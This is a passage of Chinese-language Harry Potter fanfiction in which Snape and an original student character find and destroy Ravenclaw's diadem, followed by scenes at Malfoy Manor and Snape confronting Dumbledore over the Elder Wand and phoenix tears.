斯内普看到她这个样子,眉心无意识地挤到一处。片刻后,他斟酌着开口:“以我对他的了解,他会选一个自认为不会被人发现的地方。充满盲目自信,又带着傲慢。一个足够隐蔽,又配得上他身份的地方。” 这些,两个人都沉入思虑的深海中。一时之间,只有微弱的魔法烛火声响在这个鲜为人知的密道里,伴随声音而来的浑浊暖黄笼罩着他们。 其实一开始,他们都天真地以为,伏地魔会将魂器藏在了校长室或者黑魔法防御课的教室里。但很快,他们就失望地发现,这种猜测未免太过简单。 “说起来……”蕾雅的思维开始在寂静中不自觉地发散开去,嘀咕着。 “嗯?”斯内普从思考中回神,懒洋洋地应着她。 这不经意间流出来的慵懒嗓音,是温柔悦耳到令她的心意外地跳漏两拍。蕾雅忍不住将瞳仁转到他的一侧,旋即瞄见他因专注深思而紧绷着的下颚线。 这种凛冽认真的模样顷刻让她的内心倏地一抽。忽而,又感觉像是行走在冬季禁林凝结成冰的湖面上,眼前是磅礴壮丽的天地,但脚下确实薄薄的砭骨寒冰,稍有不慎就会坠入无尽的暗流之中。 其实,心细如她,怎么会没有察觉出斯内普对自己态度的微妙变化呢,只不过是假装无事发生的平和。她深刻地明白,以斯内普的身份和处境,他承受的苦涩挣扎肯定比她多千万倍,也许比她能想象的所有加起来还要多。 也正因如此,她不会去逼迫他直面他们之间的感情,至少不是现在。 甚至有那么些时候,她觉得如果他已然决定将他们之间的距离保持在这种疏离又亲近的程度,她也会愿意就这样下去——只要,他不推开她。 察觉到她的视线,斯内普再次偏过头看着她,确认道:“想到什么?” 蕾雅慌忙别开,不好意思地把脚放在更上一级的踏面上,整个人蜷成一团。她将脸掩埋在围巾里,小声说道:“没什么,只是说起藏东西的话。只是想起了之前哈利说把您的课本藏在了有求必应屋里。……呃,对啊!” 斯内普怔愣着,薄唇旋即勾起,显然是在肯定她的想法:“是。” 两个人飞快对视一眼,几乎同时站了起来。 “等等。我先出去。”斯内普说着就走上了楼梯,又回过头叮嘱:“幻身咒。” “好。”蕾雅轻轻应着,抽出魔杖。 55.他的罪 两个人一前一后地在黑暗里穿越大理石楼梯,最终来到八楼那面砖墙前。 周围一片寂静,这里看起来什么都没有,只有黑黢黢的墙缝和楼梯旁边满满一墙沉睡中的画像无声地审视着他们。 斯内普轻轻掂起魔杖,在他们身侧布下闭耳塞听的咒语。蕾雅压低声音问道:“可是我们怎么……” 身旁的男巫泰然地面朝向那堵墙,低沉的嗓音仿佛在吟唱:“我需要一个藏东西的地方。” 话语未落,冰冷的砖墙上逐渐浮现出一圈繁复厚重的花纹,随即赫然聚拢、凝结成一扇沉郁斑驳的大门。斯内普伸出手推开,感受着身边的气流擦过他的耳畔,是她踱进了门内。随后,他跟着迈步走进,把门拢上。 “噢——梅林的大胡子。”刚跨过有求必应的门槛,蕾雅解除幻身咒后就惊讶到脱口而出,“这也太壮观了。” 眼前的空间出乎她的想象,广阔高耸得令人瑟缩,看着比与母亲曾经一同去过的巴黎圣母院还要宏伟。而他们的身边,四周堆满了琳琅满目的物品,密密麻麻,交错重叠,纷杂到完全不能完全分辨出来都是什么些物品。灰尘和蛛网还用心地为这一切布置上厚重的陈朴与荒颓,气氛被渲染得宛如一座时间和空间都无章错乱的迷宫。 “这,都是什么啊……”蕾雅喃喃道。她跟着斯内普往前走动,整个人都迷失在无穷无尽的旧书、魔法瓶、缺损的桌椅、破旧的武器、还有扫帚、柜子、器械、垃圾……之中。没过一阵,人已经开始头晕目眩。 “你从来都不知道?”斯内普扫了身边人一眼,沉寂的眼神里竟然浮现出一些怀念的怅然,“我们那个时候,很多人都知道这个地方。” “呃,你们那个时候。”蕾雅边嘟哝着,脑海中不由地开始想象穿着斯莱特林校服的年轻斯内普,更加难以自控地勾起嘴角。 然而,这种想象的思绪没漫游多久,刚拐过一个离奇古怪的转角,一个庞大的巨怪标本突然出现。她吓得一个激灵,差点就撞上斯内普,“哇,它……好像在对我流口水。” 斯内普微微动了动嘴角,似是无声地笑了一下。他想起那天跟雷格纳去掘邓布利多坟墓的对话,再次肯定他们当初没有带她去的决定是对的。 “所以,您也在这里藏过东西?”蕾雅缓过气来,刚路过一个巨大的天文球,就被一小座不知道是什么年代的娃娃屋吸引住,不禁多瞄了几眼。 “嗯。” “那您藏了什么呢?”她满怀好奇地追问。 “是什么让你觉得我会告诉你?”斯内普冷漠地反问道。 蕾雅鼓了鼓嘴,眼睛一转,又调皮地打趣道:“禁忌魔药?还是见不得人的情书?” 斯内普轻咳一声,依旧保持着冷淡寒凉的脸色,显然不打算回应她的调侃。他把头缓缓扭向另一侧的那堆旧飞行扫帚,语气毫无波动:“如果你还有这种闲心,不如专心去找冠冕。” “好好。”蕾雅不服气地皱着鼻子,索性赌气般的举高魔杖,喊道:“冠冕飞来!” 咒语在寂静的空间里回荡,她清脆的话语如波纹一样流转在杂物堆上,缓慢消散开去。但随之而来的只有更加沉默的空气,什么也没有发生。 “别浪费力气。”斯内普冷冷睨她一眼。他从长袍的口袋里掏出怀表,低头看了看时间,随后不紧不慢地开口:“你明天是什么课?” “早上第一节是魔药。” “不错,”斯内普稍稍卷起嘴唇,“以你的水平,翘一节课也不会有什么损失。” “喂?堂堂霍格沃茨校长竟然在怂恿我逃课?”蕾雅带着揶揄的语气反驳道,“斯拉格霍恩教授见不到我会伤心的。” “怎么,我没想到你在他心里如此,重要?”斯内普故作讽刺地说。 “还不是您把我教得太好。”蕾雅毫不示弱,抬眸望向他,唇边得意地牵起一个笑容。 斯内普的目光在她的唇角停留片刻,迅速移开,不再说话。 跟着斯内普又走了一段,蕾雅的心里变得愈加迷茫。这里的东西实在是太多了,一堆一堆的小山晃得她眼花缭乱,仿佛身居在澎湃风浪席卷着的海中央。光用眼睛一点点去寻找冠冕,根本就是无力到徒劳。时不时,注意力还会被奇奇怪怪的玩意分散开去,她发誓,她刚刚甚至看到了一个中世纪的铁质束腰和骇人的刑///具。 不过,身边的人在持续努力着,丝毫没有任何要放弃的意思。 蕾雅一边扫视着右手边由桌子和柜子搭起来的立柱,一边小心翼翼地开口道:“那个……NEWTs的事。我可以问问您的建议吗?” “你不是在准备了吗。”斯内普的脸上恢复了一贯的阴郁。意识到她在问的并不是考试题目以后,他低声回答到:“实在想不出,可以选择留在霍格沃茨。魔药学或者黑魔法防御课助教,你都可以胜任。” “唔……”蕾雅舔舔干燥的嘴唇,完全没想过斯内普会这样肯定她的能力。她把有些发凉的手揣进校服长袍的口袋里,犹豫着小声问:“那您到时候,还会是校长吗?” 斯内普的脚步稍稍停滞,似乎在思考这个问题。他沉默许久,才缓缓开口:“我认为邓布利多是最合适的选项。” “那就是说,您会继续教授课程?”蕾雅内心掀起涟漪。 “或许。”他答得简短而敷衍。 事实上,他从未没有深入思考过战争后的生活。从那以来的十七年里,他好像一直围绕一个无比清晰的目标活着。而这个目标足够远大、也足够艰巨,它推动着他的一切行为,他所有的事都好像是为了它才存在,包括他自己本身。 这也让他得以庆幸,他不需要、也没有时间去考虑除了它以外的事情。 但是…… 斯内普抿住唇垂下眼眸,乌黑的发丝也随着他的低头滑落额前,挡住他不自觉被她大红色的围巾吸引过去的眼色。但他很快就敛住自己迷散的情绪,重新静默起来。 两个人继续穿行在迷宫里,绕过一条条或通、或不通的小道,翻找过各种各样能看懂、或看不懂的垃圾。他们时不时会闲聊几句,但大部分都是蕾雅在提问,而且并不会都得到回应。 尽管如此,蕾雅还是明显感觉到斯内普自邓布利多恢复以后,整个人都不像以前那样疏离紧绷了。 不知不觉已经过去一个多小时,就在蕾雅忍不住连连打着哈欠,差点是凭本能拖动酸涩的双腿跟着斯内普往前走的时候,身前的他突然停住了脚步。 “唔?”斯内普低哼一声。 “……怎么了?”蕾雅顺着他的目光望过去。 前方,一个表面起泡的旧柜子静静地立在那儿,样子格外古怪奇异。柜门没有完全合拢,微微敞开的缝隙中隐约露出一角褪色的紫色封面——《高级魔药学》的书脊赫然映入眼帘。 “啊,找到了哈利藏的书。”蕾雅惊呼一声,没多想便伸手拉开柜门。柜子里的书倏地掉出来,夹杂着经年积尘的气味。 她刚蹲下身去捡的片刻,忽然又有一本书从柜子的边缘滑落,结结实实地砸在她的脑袋上,发出沉闷的“啪”声。 “呜!”蕾雅捂着自己的后脑勺,却分明听见了后面人轻微的哂笑。她回头瞅他一眼,才捡起那两本书。这时,她耳边忽而响起他施咒的声音,手中的灰尘被清理咒轻柔地抹去。 “谢谢。” “是什么?”斯内普收回魔杖,语调淡然。 “《诗翁彼豆故事集》。”蕾雅随意翻开书页,笑着感慨道:“诶,好怀念。小时候爸爸最喜欢给我念三兄弟的传说。” 斯内普习惯性抱起双臂,瞥向地上的人儿,略感意外:“三兄弟?我以为你会更喜欢《好运泉》或者《小兔巴比蒂》。” “我是我,爸爸是爸爸。”蕾雅撇了撇嘴,嘟哝着,“小时候我可没得选。” 她站起身,把两本书一起抱在怀里,突然想起那个一直埋在心底的疑问,终于鼓起勇气问道:“先生,当时您离开魔药学教室的时候,为什么没把您的书带走?” 斯内普注视着她,耸了耸肩,语气浅描淡写:“我以为你还会用它。” “!”蕾雅本来有些困倦的眼睛瞬间瞪得大大的,斯内普说得如此不以为然,但她却感到十分意外,好像是听到了什么不得了的东西一样。她在震撼里眨了眨眼,说道:“呃……您其实可以直接告诉我的呀。” 话音刚落,滚烫的脸颊却让她不得不窘迫地移开眼神。而就在转头的瞬间,她的眼角瞥见了柜顶上的一个东西。 躺在一堆泡泡的柜顶之上,是一个布满麻点的男巫半身像。无法分辨出来是哪位名人,但他的头上戴着一顶滑稽的灰色旧发套。然而,更为显眼的是发套上面一顶古旧的、褪色的王冠。它的形状就像一只展翅的雄鹰,尽管被灰尘沾染而斑驳得发灰,但那颗硕大的蓝宝石在昏暗的光线中闪烁着如同深海般的幽光,散发出一种与这个空间格格不入的不可思议。 蕾雅全身都僵住,心脏猛地一跳,旋即意识到这就是他们一直在找的冠冕。 “我来。”斯内普也同时注意到了那个冠冕。他轻轻挥动魔杖,施展的漂浮咒把冠冕小心地从高处悬垂下来,稳稳地搁在旁边的缺了一角的破旧书桌上。 蕾雅好奇地走近,手中魔杖顶端的荧光坠落在这顶冠冕,照亮了那行刻在上面的精细小字。 她轻快地念出声:“过人的聪明才智是人类最大的财富。” “确实很有拉文克劳的风格。”斯内普在她身侧,平淡地回应。 蕾雅回想起当时看见哈利破坏魂器时卷起的浩荡黑烟,有些担忧地环顾一圈周边的杂物,不安地问道:“我们要在这里摧毁它吗?” “不。”斯内普果断地答道,他再次挥动魔杖,将冠冕轻轻漂浮在身旁,“我们先出去。” 两个人按照原路返回,倒是比来的时候快了不少。等他们第二次推开有求必应屋那扇沉重的门时,迎面而来的是变成一片空旷的寂静。房间里所有的东西都消失了,只剩下一块孤零零的高台,银灰色的光线从天花板洒下,把空间无声地蒙上一层冷冽缥缈的模糊光影。 斯内普踱步走上前,将拉文克劳冠冕轻轻安置在高台。随后,他从口袋里慢慢地取出那枚蛇怪巨大的尖齿。 “你知道会发生什么。”他背对着她,稍稍用力握紧手中的蛇牙,声音喑哑而严厉:“做好防护。” “我知道。”蕾雅向他凑近一些,手中的魔杖也攥得紧如入骨。她没有一丝迟疑,笃定地说道:“防护交给我,您尽管破坏它。” 斯内普的眼底抹开深沉凝重的暗色。此刻,他理所当然地回忆起当时见证哈利·波特和罗恩·韦斯莱摧毁魂器时,在湖畔边上笼罩的大片烟雾。那种威迫感,犹如黑魔王带着千军万马亲临般,就算是他,也无法忽视心底的隐隐震慑。更不要说,他没有把握当时波特和韦斯莱在黑烟之中到底经历了什么。 他下意识地皱紧眉头,嘴角下沉到决然的弧度,整个人也紧绷得仿佛伫立在万丈厉火深渊之前。再一次,他不自觉地用眼角扫向她,不知道到底是在确认她的决心,亦或是在确认自己的。 然而,她身上的那种格兰芬多天然的莽撞勇气,倒是在这种场合展露得淋漓尽致。他看见她的坚定毫无保留,甚 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那是一张苍白的脸,面容异常瘦削,五官深陷,像是从未进食过的森森骷髅。他的双眼通红,瞳孔是非人般的一条竖线,里面写满了狡诈、邪恶、憎恨。他的鼻子几乎完全消失,只留下两道细小的线,瘆人无比。他身上那种暴戾怨恨、令人作恶的气息仿佛从四面八方、铺天盖地地袭来,像无穷无尽的毒蛇从每一个角落匍匐爬出,发紫发黑的信子全部扭曲交叠在一起,嘶嘶作响着缠绕上他的每一寸肌肤,直至扼住他的喉咙。 ——“西弗勒斯,我一直以为你是我忠实的仆人,为什么背叛?” 很快,蛇怪灰白色的肌肤开始迅速地溶解,蓦地挣出火焰一样的红发,宛若阳光里最明媚粲然的光波,残酷地盛放在他的黑眸之上。他伸出手去,心里渴望着再一次触碰这个背影——面前的人回过头来,那双翠绿的眼睛先是很惊讶,逐渐变得冷淡、失焦,最后只剩下失望和痛苦,再后来,那里什么也没有了。一具躯壳倒在他的脚边,他翻过来,她没有生气的脸上只凝固着深刻的憎恶。 ——“我再也无法容忍你这样的行为,西弗勒斯。” 越来越多,越来越多的面孔,在阴森的走廊里,在庄园的长桌上,在不为人知的角落中。他们血肉模糊,他们都像她,又好像都不像,但他们都带着同样的哀诉与痛苦。他们的喋喋不休最终重合在一起,一声声一句句如刀尖刺进他的心脏。是他们在乞求,是他们在伸手,他们拉扯着他,他们谴责着他,他们审判着他。 ——“西弗勒斯,求求你,求求你”,“西弗勒斯,我们是朋友,不是吗”,“西弗勒斯、西弗勒斯……你背叛了我们,你背叛了所有人!” 突然,有另外一把声音在黑暗中响起,肃穆而无情,他知道是威森加摩审判席掷下的裁决重锤。 ——“你让我感到恶心。” ——“西弗勒斯,你拿什么来交换?” ——“这是悔恨吗,西弗勒斯?那对别人有什么用呢?” 三十秒。 蕾雅用了整整三十秒,才将自己从这一切幻象中抽离开来。 面前,斯内普的身影已被黑影侵蚀,像是一块度过了一百年苦难折磨的、再也没有了生命的石头。 他茫然而卑微,无动于衷地站在那里看一张张变幻的脸,任由自己感受着灵魂在胸膛的悲怆中被一点点碾碎。他看起来是那么的痛苦,像个刑场上待凌迟的犯人,由罪行和内疚组成的枷锁死死扣住了他颤抖的双手。 西弗勒斯—— 他的悲楚和悔悟传向了她,她的心好像也被剜出来,好像也被抛在眼前蚀骨噬心、暗无天日的雾霾黑洞中。这是她第一次如此直白地面对他的哀恸,连绵不绝的眼泪重重地打碎了其他所有的情绪,她只知道自己有多想告诉他,他不是,他已经为此做了足够多,甚至太多。 最凶恶的囚徒尚有资格忏悔,难道这个世界竟无法容下一个已幡然醒悟、屡屡弥补的人吗? 可是她很清楚,自己没有资格说出这样的话。她没有资格替那些因为他的过失而失去生命的人去原谅,更没有资格去要求他接受宽恕,放下这份贯穿一生的愧疚。 这里不需要任何的辩解,也不需要任何的怜悯。 她会尊重他的选择,并且陪着他走完他认为足够长的赎罪之路。 蕾雅安静地在他们身边放出防护罩,柔和淡白的光芒和着她无声的眼泪,汇成一条像是流淌在月亮之上的暖河。她顺着河流的方向探出手去,找到了藏匿在黑袍里微凉的指尖。 仿佛是被她的触碰唤回,斯内普缓缓闭上眼。 再睁开时,黑眸中已然是一片无光的平静,脸上亦看不出任何的悲喜。 “不。” 他的声音低沉、淡然。他的左手稍稍回握住她的,与此同时,右手用尽全身的力气,把蛇牙彻底推入冠冕。 伴随着一声轰鸣,所有的黑雾如潮水般疯狂剧烈地翻滚,所有的凄厉嘶吼声都在他们身侧四散窜动。然而,就在万物即将被粉碎殆尽的顷刻之间,一切都烟消云散,尘埃落定,有求必应屋重新恢复那片死寂的晦暗。 良久,斯内普转过身来,定定地看着身边人,像是在等待着从她那里提出的任何疑问。 但是蕾雅什么也没有说,轻抿的唇边浮现着暖意,毅然的温润绿眸弥散着清澈的水光,倒映出他冷峻孤傲的脸庞。 他习惯性地推开所有的情绪,轻轻松开她,抬起手取下沾在她额发上的灰屑,说道: “我们出去吧。” “好。” 56.金色梦乡 “变形术的诀窍,不仅仅在于改变外形。更重要的是,情感与精神上的调整,必须小心,任何一点失误都会导致不可逆的变形。”眼前,麦格教授站得笔直,三月底的阳光穿越过半开的窗户洒在她的肩头,墨绿色的长裙被映出一层玄幻的辉光,银白的发丝也被蹭上金边。 她的双手自然地交叠在身前,指尖稍稍搭在一起,叮嘱般说道:“好了同学们,记住这一点。这是我在NEWTs课程中能教给你们的最后一点知识。复活节之后,我们的时间将会用于复习和回顾过去七年的重点内容。尽快上交你们的志愿表格,虽然魔法部还未对今年的NEWTs考试做出明确安排。” 紧接着,麦格好像叹了一口气,呼出的雾气让她的方形眼镜迷蒙而暗淡。再开口的时候,她的声音也变得又轻又低:“如果可能,我希望你们能在安全的地方继续学习……你们应该明白我的意思。” 听到这里,蕾雅在笔记本写着的最后一个单词旁点了一个郑重的黑点。抬起头时,正好就撞上了麦格教授的微笑。和蔼的苏格兰女巫向她微微颔首,仿佛在暗示着什么。 她朝麦格扯了个心虚的微笑,偏过脸想到这已经是这周听见的第四句相似的话——从魔咒课到草药学课,再到魔药课,现在又是变形课。四位院长似乎达成某种默契一样,是都不再希望他们在复活节后回到霍格沃茨。 而她也是从斯内普最近的消息得知,自从摧毁了那顶冠冕魂器后,伏地魔的脾气好像莫名变得残暴,而这也导致卡罗兄妹对学生们的愈发暴虐的管控。 假期前最后一顿晚餐的礼堂上也笼罩着一种垂头丧气的氛围。就连格兰芬多长桌上都没有了平日活跃热闹的气氛,金妮和纳威都不再说话。大家沉默着填饱肚子,又沉默着回到休息室整理复活节返家的行李。显然,今年决定假期留校的人实在是寥寥无几。 简单的把物品塞进箱子里后,蕾雅抓着几本斯内普给她的NEWTs参考书,和纳威一起坐在公共休息室里。还没看过两页,人就不由自主地开始想些有的没的,视线涣散地落到窗边那只金色小狮子雕塑上。 这时,金妮将两个偌大的箱子堆到沙发的一侧,整个人都比在礼堂长桌上显得更加沮丧,连烧得滚亮的壁炉火光都没有办法照亮脸上的阴霾那样坐到蕾雅的身边。 “我真的不知道复活节后还能不能回来。”她无精打采地说着,“爸爸妈妈本来就不同意我回来上学,他们……很担心。” 蕾雅抬起头,想起亚瑟和莫莉担心的面容,刚想开口安慰,却被身边的纳威抢了先。他正往一条手臂上涂着白鲜药水,嘟哝着:“我会回来的。即使你们不回来,我也会留在这里,和留下的邓布利多军一起战斗。” “我也会回来的。”蕾雅附和地点点头,随意地翻过一页手中看不进去的《黑魔法高阶防御》,“我也会留到最后一刻。相信我,金妮,正常的日子很快就会回来。” “希望如此吧。”金妮消沉的眼色好像亮了一些,但语气依然是恹恹的:“如果我真的回不来了,我还是会跟凤凰社一起行动的。” “嗯。”蕾雅放下书,伸手握住金妮和纳威的手,脸上绽出安然的笑容:“我相信,不论我们在哪里,只要我们的目标一致,就意味着我们也终会重逢的,金妮。” “是的,我们终会重逢。”纳威也坚定地看着她们,答道。 …… 斯内普背靠着华丽的大理石壁炉而坐,火焰在他的身后肆虐地呼啸着。他黑发下的脸是一贯沉稳阴郁,但手里的银器倒是被映出一片红橙交织的光影。银色的刀刃正用力地划过盘中的牛排,还未来得及隔断最底层的肉丝,淋漓的鲜血顺着肉块的纹理滋出,猛地流开,将洁白无瑕的瓷面染得通红。 他没有为此感到任何的情绪,手指依旧稳定地割开着肉块,耳边回响着他的主人跟亚克斯利的谈论声,他们正在讨论魔法部又颁布下多少条针对麻瓜的政策。斯内普目不斜视,依然保持着手中的动作,但心中却暗暗感到伏地魔好像比以往显得更加虚弱,皮肤白得近乎透明,隐隐透出一根根红紫突兀的血管。 “很好,很好。”伏地魔那双宛如盘中血红的眼睛缩起,被壁炉的火光衬得如毒蛇般诡谲。狰狞的巨蛇纳吉尼正缠绕在他的腿间,而他的双手则漫不经心地把玩着从邓布利多坟墓里获得的魔杖。 他细长嶙峋的脖子缓慢地转动,窥探的目光如针般刺向斯内普:“西弗勒斯。告诉我,霍格沃茨的情况如何?” 斯内普不慌不忙地按下手中的刀叉,抬头时,空洞的双眼浮上虚伪的笑意,宛若一个真正恭顺的仆人:“我的主人,如上次报告的那样,霍格沃茨一切如常。学生们被控制得很好,邓布利多的残余影响几乎消失殆尽。那些麻瓜学生被彻底压制,可以说卡罗兄妹执行得十分得力。” 伏地魔点着头,嘴角挂着残酷的微笑:“很好,西弗勒斯。你证明了自己,我确信你是这个位置的最佳人选。”他稍作停顿,双眼猛地转向长桌另一端,语调变得冷若冰霜,阴鸷的笑容逐渐扭曲:“不像某些无用的废物。” 斯内普谦卑地低下头,余光无意识地飘到伏地魔刚搁在手边的魔杖,接骨木魔杖被热烈的火色散射出一丝昏暗的幽光。 伏地魔到底为什么这么在意邓布利多的魔杖? 斯内普想起来之前伏地魔绑架了奥利凡德的时候,并不是让奥利凡德为他打造一根新魔杖,而是好像套出了许多关于魔杖的话,那之后,他就直接掘开邓布利多的坟墓获得了这根魔杖。 此时,壁炉里的一根木柴被烧断,焰苗猛然窜起,发出凶狠而吵闹的噼啪声。伏地魔脚边的巨蛇被这突如其来的声响惊扰,嘶嘶地低鸣着,也提醒着斯内普重整注意力。他再次低头,机械式地切割那盘他已然决定不会吃的肉。 室内的气氛变得如刑场紧绷。伏地魔枯枝般的苍白手指刮过擦得锃亮的桌面,发出令人毛骨悚然的刺耳声。 长桌那头,纳西莎和卢修斯的脸隐没在暗影之中,似乎被一层厚重的乌云牢牢拢住。纳西莎嘴唇紧抿,是在努力维持着家族仅存的尊严,而卢修斯则眼神空洞,低垂着头,不再直视任何人。至于德拉科,他的身体僵硬得仿佛变成了一具死灰色的雕像,双手紧贴在身侧,面色惨白。 但另一边的贝拉特里克斯倒是面不改色地急切开口,语调中带着一丝慌乱与狂热:“我的主人。请允许我再次证明我的忠诚。我已经查明,那个男孩手中的宝剑是赝品,但我恳请您允许我前往韦斯莱的陋居,再次搜寻,我相信一定能从那里得到更多关于男孩的情报。” “贝拉。”伏地魔的神情也像即将进食蛇类的警告般冰冷刺骨,“愿意去就去吧,但记住,这一次……不要让我失望。让格雷伯克带上他的人随你一起。” 贝拉的眼里盈满了感激的泪水,双手激动地颤抖:“谢谢您,我的主人,我一定不会再次让您失望。”斯内普几乎以为她会在这一刻跪倒在地,向她的主人表达那几近疯狂的崇拜。 “好了,我的朋友们。”伏地魔抬了抬手,长桌上每个人的酒杯都被自动倒满了猩红的液体,“一些好消息。除了霍格沃茨、魔法部、还有狼人,巨人也已经全心全意决定为我们而战,我相信任何反抗者都会在他们的手中化为齑粉。” “而且,还有更多的盟友正在加入我们的行列。”他冷酷地扫视着长桌上的食死徒们,高举起手中的酒杯,“我们已经不再只是暗中行动,现在,胜利就在我们掌心。我们将彻底粉碎那些愚蠢的抵抗者,摧毁他们最后的希望。” 斯内普默默地将手中的高脚杯送到唇边,寒凉的液体在一片虚情假意的欢呼里顺着喉咙滑下。之后,他没有再在这场午宴上再说过一句话。 离开马尔福庄园的第一件事,是回到蜘蛛尾巷。 刚到家里,斯内普没有丝毫停顿就一头扎进地下室,穿过那几箱装满他不堪回忆的童年物品的旧箱子,翻出一箱旧书。 从那里面,他略过一本本从普林斯家族继承过来的启蒙教材、艾琳曾珍藏的诗集,直至找到破烂得几乎页边全都脱落的《诗翁彼豆故事集》。 他谨慎地在地下室一角的破旧办公桌上面摊开书本,点起荧光闪烁的魔杖,直接翻到“三兄弟”的那一章。他用手指摩挲着书页上寓言故事的只言片语,不是擦过那些母亲以前耐心地为他标注下的生涩单词注释。 读着读着,好像有什么东西在引导着他的思绪。他的眉头皱得很紧,心里骤然涌起一种希望立刻就能验证内心假设的迫切。于是,他把书放下,直接从口袋里拿出了莱恩哈特家的门钥匙。 来到这里的时候已是傍晚时分,莱恩哈特家的晚餐竟然同样是牛排。 斯内普也有些对自己感到惊讶,因为尽管中午在马尔福庄园经历了那样一场压抑的宴会,他仍毫不费力地将餐盘里的食物消灭了。也许,他不得不承认,面前这个自从摧毁魂器后偶尔避开他对视的人儿,手艺确实越来越好了。 雷格纳拿起手边的餐巾揩了揩嘴侧的油渍,确认般开口道:“食死徒、摄魂怪、阴尸、狼人、巨人,还有别的吗?” “我相信,”接过话的是邓布利多,他正坐在另一侧的桌尾,忙着品尝透明小圆杯盛装的柠檬味冰淇淋,“阴尸和巨人只是个开始。还有别的黑暗生物正在加入他们的行列。这也够多的了。” “是。”斯内普放下手中的餐具,坐正了些许,“另外,贝拉特里克斯计划袭击陋居。” “噢……”邓布利多晃了晃手里的小勺,在蕾雅投来的担忧目光中不慌不忙地说道,“雷格纳告诉我,韦斯莱一家目前不在陋居。” “对,他们跟比尔暂时一起呆在另一个住处,西里斯他们也一起。”雷格纳点着头说:“不用太担心。” 邓布利多眼中闪过一丝玩味,转向斯内普,轻笑着说道:“看来,西弗勒斯,你又得熬一晚上来准备药剂了。” 斯内普只是抿了抿唇,指尖轻敲着杯沿,面无表情地继续喝着茶。蕾雅瞄了他一眼,见对方好像并不怎么在意,这才轻轻吐出一口气,安心地低下头吃手里的甜品。 过了一会儿,雷格纳用魔杖指挥着洗碗池里的工具开始自动清洗,而其他人也纷纷加入收拾餐具的行列。斯内普保持着嘴角下沉的表情,毫无波动可言的冷峻眼色在一片忙碌中,不着痕迹地落到邓布利多手中的镂空魔杖上。 还没等他开口,老巫师已经站起,枯槁的手指掠过桌面的边缘,低声说道:“西弗勒斯,想谈谈吗?” 黑发巫师的脸色难以察觉地颤动一瞬,很快便按照老巫师的话起身离开了餐桌。 两个人慢悠悠地踱步到门廊里,这里刚下过一场春雨,四月的夜风带着草木复苏的湿润清香扑面而来。隐约零落的星月光芒在这种幽香里透过浮云,显得比平日更要温柔梦幻几分。 不过这两个人的氛围可就没有这么美好了。 斯内普抱着双臂倚墙伫立在廊下,半长的黑发被风拨动几缕。他的眼睛漠然地掠过被浅月漆得朦胧的石子小径,最终停留在马路对面随风摇曳的藤蔓上,等待着邓布利多一如既往的语重心长。 果然,刚靠到门廊栏杆上,邓布利多便开口道:“我知道你已经察觉到了老魔杖的事,西弗勒斯。虽然我不知道你是如何知道的。” 斯内普冷冷地瞥着邓布利多:“我如何得知跟你没有关系,这个话我本来也不打算问的。” 他停顿半晌,手臂压住的胸膛在微凉的夜色里起伏着,冷嘲道:“但让我提醒你,邓布利多,你上次可是保证过毫无保留。你这承诺难道就这么不值一文?恐怕连三岁的孩子都比你守信些。” 邓布利多的湛蓝色的瞳孔依然如清冷月色般波澜不惊。他平静地看向斯内普:“如果你还记得,我很久以前就跟你说过,我对这个事情没有把握。我也承认,这个计划过于仓促,破绽太多。所以,我也犹豫过是否应该现在告诉你,还是等我理顺一切以后再说。” 斯内普从鼻腔里发出一声闷哼,“我真的佩服你,到底要怎么修炼才能像你这样总能把事情推脱得这么冠冕堂皇。”越说着,他的话变得愈尖锐:“告诉我,你到底是在隐瞒什么?是在犹豫怎么让我死,还是在犹豫怎么让哈利·波特活?” “这不是我想表达的意思。”邓布利多说,“事情已经跳出了我的预料,西弗勒斯,在我看清全貌之前,告诉你并没有任何意义。” “那至少告诉我——”斯内普压住腹腔的怒气,语气尖锐:“你预料到哪一步了?是让黑魔王用纳吉尼杀死我,好让他们有机会除掉这条蛇?还是让波特杀死我,夺得老魔杖的所有权?” 邓布利多的表情稍显疲惫,像是在斟酌措辞,他沉吟着开口:“老实说,我没办法回答你,它们都有可能发生。我现在只能确定两件事。” 斯内普的薄唇成了一道晦暗的直线,像一把刀,逼向邓布利多。 邓布利多的表情毫无变化,左手捋着胡子:“首先,我们的计划不会让老魔杖的所有权转移,因为你并没有真正‘战胜’我。但是,汤姆肯定会以为你获得了老魔杖,而按照他的性格,他极可能会选择让纳吉尼,取代魔杖杀死你。这将会使得被保护的纳吉尼有机会在那一刻被释放出来。”稍作停顿,他皱着眉说:“但是有件事确实出乎我的预料,那晚在你杀死我之前,德拉科先将我缴械了。” “先不论你这毫无把握的推测和对我‘死亡’的安排……也就是说,德拉科获得了老魔杖?真没想到。”斯内普冷笑一声,但是很快,他脸一沉,是意识到了另外一件事,“……等等,那我可以跟你说,现在波特已经拥有老魔杖的所有权了。那天在马尔福庄园,他将马尔福一家的魔杖全都夺走。” “什么?!”邓布利多的神情变得复杂起来,好像有惆怅,好像又有释然。他的嘴角不自觉地抽动,摊开双手轻叹一口气,说道:“你看,我说了,计划已经超出了我的掌控。如果传说属实,那么哈利已经集齐了所有的圣器。” 斯内普挑了挑眉,显然不愿再为哈利·波特的事多费心思:“第二件事是什么?” “第二件事,我本来真的不愿意现在告诉你的,西弗勒斯。”邓布利多敛住眼色,在此刻变得深邃的目光定定地直视着斯内普空洞无光的瞳仁,缓缓说道:“我按照纳吉尼会杀死你的假设,早已将凤凰的眼泪交给她,就在那天我从塔楼坠落之前,为了你。” 凤凰眼泪?!斯内普猛然怔住。 顷刻,所有的蛛丝马迹都在这一刻如细砂被潮水归拢到海岸上般,全部连在了一起。这一年多以来的所有疑问和愤怒,都在这一刻得到了回应。 原来,这就是邓布利多和她一直在隐瞒的真相,为了避免他走向不可避免的死亡。 斯内普陡然皱起了眉毛,感到有一种巨大而激烈的情感从腹腔深处升起,冲散了眼中积压许久的冷漠。 是什么?难以置信?愤怒?感激?憎恶? 他说不清楚,只知道比起面对本就设想过的死亡,他的心海里竟然冒出另一个更加可怕的想法。 这种袭来的动荡冲击让他浑身忍不住开始发颤,以至于他沉默半晌才终于拼凑出一句话语,从紧咬的牙缝中挤出:“那万一,他打算用别的方式杀死我呢?” 邓布利多没有回答,眼中划过深重的悲痛和怜悯。 斯内普的瞳孔随即稍稍放大,脸上的疑虑和厌恶更加明显,他继续问道: “……那告诉我。你从一开始就让她参与进来,就是为了这个原因吗?” 邓布利多仍然无动于衷地矗立在栏杆前,只是绷着脸扶正了鼻梁上的眼镜,镜片后低垂的眼眸在薄凉的微光里闪动。 斯内普的声音在此刻骤然拔高,混杂着愤怒和痛苦:“你在利用她,邓布利多!你把她 